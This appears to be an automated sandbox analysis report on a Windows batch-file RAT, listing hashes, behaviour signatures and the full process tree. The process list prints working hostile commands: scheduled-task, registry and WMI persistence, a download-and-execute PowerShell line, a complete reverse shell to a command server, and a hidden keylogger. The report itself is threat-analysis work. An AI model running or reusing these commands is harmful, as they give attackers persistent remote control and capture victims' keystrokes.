Analysis
- max time kernel
149s - max time network
103s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows - submitted
29/05/2026, 22:06
Static task
static1
Behavioral task
behavioral1
Sample
rat_build_97107_014311.bat
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
rat_build_97107_014311.bat
Resource
win11-20260513-en
General
- Target rat_build_97107_014311.bat
- Size 4KB
- Sample260529-11ekssaw3l
- SHA256 48f3ba4798bb8276ba2f38b885ce51c8503c6c4aafcec73f3215178798483cd5
- MD5 c93804bb5d4533e493f893394bd5c6f4
- SHA1 84a8981505109ff9511decf1933be9de86f2cdcb
- SHA512 2c8fff662701d5a101153715765014bc7fadf26ec8409ad26f312cf33d0e59354d887d12edf8f1c4f1673ddc5684d30162bb5c65a76e560f302c1304554dac6c
- SSDEEP 96:HIcaW20CZYBY1iF5hlHGoWsHQE/OtRHhew9CgZxsMjiFgZk8mvlo1zt:HR20CZYSGhGmHQEkRHow9CKVjiFgkHl4
- TLSH T1C9A1F717A79B72218DB01615CD333958531CDDFB1301D88DBE49CDC01E8DA47A1656F7
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
-
ps1
-
ps1.dropper
http://payload.server/update_97107.ps1
Signatures
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pid Process 5904 powershell.exe 5616 powershell.exe 4460 powershell.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Windows\CurrentVersion\Run\Updater_97107 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_97107.bat" reg.exe - Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 1 checkip.amazonaws.com - Gathers network information 2 TTPs 1 IoCs
Uses commandline utility to view network configuration.
pid Process 4876 NETSTAT.EXE - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 5212 systeminfo.exe - Modifies registry key 1 TTPs 1 IoCs
pid Process 2388 reg.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2228 schtasks.exe - Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 5904 powershell.exe 5904 powershell.exe 5616 powershell.exe 5616 powershell.exe 4460 powershell.exe 4460 powershell.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 2692 WMIC.exe Token: SeSecurityPrivilege 2692 WMIC.exe Token: SeTakeOwnershipPrivilege 2692 WMIC.exe Token: SeLoadDriverPrivilege 2692 WMIC.exe Token: SeSystemProfilePrivilege 2692 WMIC.exe Token: SeSystemtimePrivilege 2692 WMIC.exe Token: SeProfSingleProcessPrivilege 2692 WMIC.exe Token: SeIncBasePriorityPrivilege 2692 WMIC.exe Token: SeCreatePagefilePrivilege 2692 WMIC.exe Token: SeBackupPrivilege 2692 WMIC.exe Token: SeRestorePrivilege 2692 WMIC.exe Token: SeShutdownPrivilege 2692 WMIC.exe Token: SeDebugPrivilege 2692 WMIC.exe Token: SeSystemEnvironmentPrivilege 2692 WMIC.exe Token: SeRemoteShutdownPrivilege 2692 WMIC.exe Token: SeUndockPrivilege 2692 WMIC.exe Token: SeManageVolumePrivilege 2692 WMIC.exe Token: 33 2692 WMIC.exe Token: 34 2692 WMIC.exe Token: 35 2692 WMIC.exe Token: 36 2692 WMIC.exe Token: SeIncreaseQuotaPrivilege 2692 WMIC.exe Token: SeSecurityPrivilege 2692 WMIC.exe Token: SeTakeOwnershipPrivilege 2692 WMIC.exe Token: SeLoadDriverPrivilege 2692 WMIC.exe Token: SeSystemProfilePrivilege 2692 WMIC.exe Token: SeSystemtimePrivilege 2692 WMIC.exe Token: SeProfSingleProcessPrivilege 2692 WMIC.exe Token: SeIncBasePriorityPrivilege 2692 WMIC.exe Token: SeCreatePagefilePrivilege 2692 WMIC.exe Token: SeBackupPrivilege 2692 WMIC.exe Token: SeRestorePrivilege 2692 WMIC.exe Token: SeShutdownPrivilege 2692 WMIC.exe Token: SeDebugPrivilege 2692 WMIC.exe Token: SeSystemEnvironmentPrivilege 2692 WMIC.exe Token: SeRemoteShutdownPrivilege 2692 WMIC.exe Token: SeUndockPrivilege 2692 WMIC.exe Token: SeManageVolumePrivilege 2692 WMIC.exe Token: 33 2692 WMIC.exe Token: 34 2692 WMIC.exe Token: 35 2692 WMIC.exe Token: 36 2692 WMIC.exe Token: SeIncreaseQuotaPrivilege 1688 WMIC.exe Token: SeSecurityPrivilege 1688 WMIC.exe Token: SeTakeOwnershipPrivilege 1688 WMIC.exe Token: SeLoadDriverPrivilege 1688 WMIC.exe Token: SeSystemProfilePrivilege 1688 WMIC.exe Token: SeSystemtimePrivilege 1688 WMIC.exe Token: SeProfSingleProcessPrivilege 1688 WMIC.exe Token: SeIncBasePriorityPrivilege 1688 WMIC.exe Token: SeCreatePagefilePrivilege 1688 WMIC.exe Token: SeBackupPrivilege 1688 WMIC.exe Token: SeRestorePrivilege 1688 WMIC.exe Token: SeShutdownPrivilege 1688 WMIC.exe Token: SeDebugPrivilege 1688 WMIC.exe Token: SeSystemEnvironmentPrivilege 1688 WMIC.exe Token: SeRemoteShutdownPrivilege 1688 WMIC.exe Token: SeUndockPrivilege 1688 WMIC.exe Token: SeManageVolumePrivilege 1688 WMIC.exe Token: 33 1688 WMIC.exe Token: 34 1688 WMIC.exe Token: 35 1688 WMIC.exe Token: 36 1688 WMIC.exe Token: SeIncreaseQuotaPrivilege 1688 WMIC.exe - Suspicious use of WriteProcessMemory 10 IoCs
description pid Process procid_target PID 4692 wrote to memory of 2228 4692 cmd.exe 81 PID 4692 wrote to memory of 2388 4692 cmd.exe 82 PID 4692 wrote to memory of 2692 4692 cmd.exe 83 PID 4692 wrote to memory of 1688 4692 cmd.exe 84 PID 4692 wrote to memory of 5912 4692 cmd.exe 85 PID 4692 wrote to memory of 5212 4692 cmd.exe 87 PID 4692 wrote to memory of 4876 4692 cmd.exe 90 PID 4692 wrote to memory of 5904 4692 cmd.exe 91 PID 4692 wrote to memory of 5616 4692 cmd.exe 92 PID 4692 wrote to memory of 4460 4692 cmd.exe 93 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_97107_014311.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:4692 -
C:\Windows\system32\schtasks.exeschtasks /create /tn "WinUpdate_97107" /tr "C:\Users\Admin\AppData\Local\Temp\_97107.bat" /sc onlogon /ru "SYSTEM" /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:2228
-
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C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_97107" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_97107.bat" /f2⤵
- Adds Run key to start application
- Modifies registry key
PID:2388
-
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C:\Windows\System32\Wbem\WMIC.exewmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_97107", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2692
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C:\Windows\System32\Wbem\WMIC.exewmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_97107", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_97107.bat"2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1688
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C:\Windows\system32\curl.execurl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_97107.txt2⤵PID:5912
-
-
C:\Windows\system32\systeminfo.exesysteminfo2⤵
- Gathers system information
PID:5212
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-
C:\Windows\system32\NETSTAT.EXEnetstat -an2⤵
- Gathers network information
PID:4876
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_97107.ps1'))"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:5904
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:5616
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:4460
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 2KB
- SHA256 d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2
- MD5 5f4c933102a824f41e258078e34165a7
- SHA1 d2f9e997b2465d3ae7d91dad8d99b77a2332b6ee
- SHA512 a7556b2be1a69dbc1f7ff4c1c25581a28cb885c7e1116632c535fee5facaa99067bcead8f02499980f1d999810157d0fc2f9e45c200dee7d379907ef98a6f034
- TLSH T15651CF323375B1D489163F07192C59C463BF8355FA94AF4CB698624ED92700B9F222F3
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 fd949ff64bc93b6bcff447de4f7307dbd4cfb391faf81efe2a845f8349d9b10c
- MD5 8a9ce637f47cb4acdbef782b0c075292
- SHA1 61c4f0209f159fae19220a78c4428848c90d0e01
- SHA512 6452ea5fff0d3139dd61de41cb37738a228bd13f7b039aa519acb8ab5f2084c10473415f0d3631a68829e81da3dc6018e37cff3618c48ae358c9a94fa91eb122
- TLSH T1B7117A33B79CC134C8D9117A108DAD01B2B5C3CB049EDE8B7A84C508E57F58ADB641E4
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 e6b42d4d23cf1185a53d4a2f2ad4f30276217dd6286a6d17ad6ef87ecbbb961d
- MD5 3028ed8f2f56f9ca3e1f8a927b061407
- SHA1 50e809f766714c3a78db9a6902ff05e373657fed
- SHA512 82cc192d0f99c69bdf5ebee6d9c7d6032ec2d7a6873ccde2797b58f67a8e43cfc16ebb7a9ed88f7b8c678ac6f5ac7695980ab075874bcd90ac62abd1332c8372
- TLSH T164117A33B3ACC174C8D5127E108DAD01B2B5C3DB44AEDE8B7A84D508E57F58ADF641A4
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yejnipdb.ux3.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH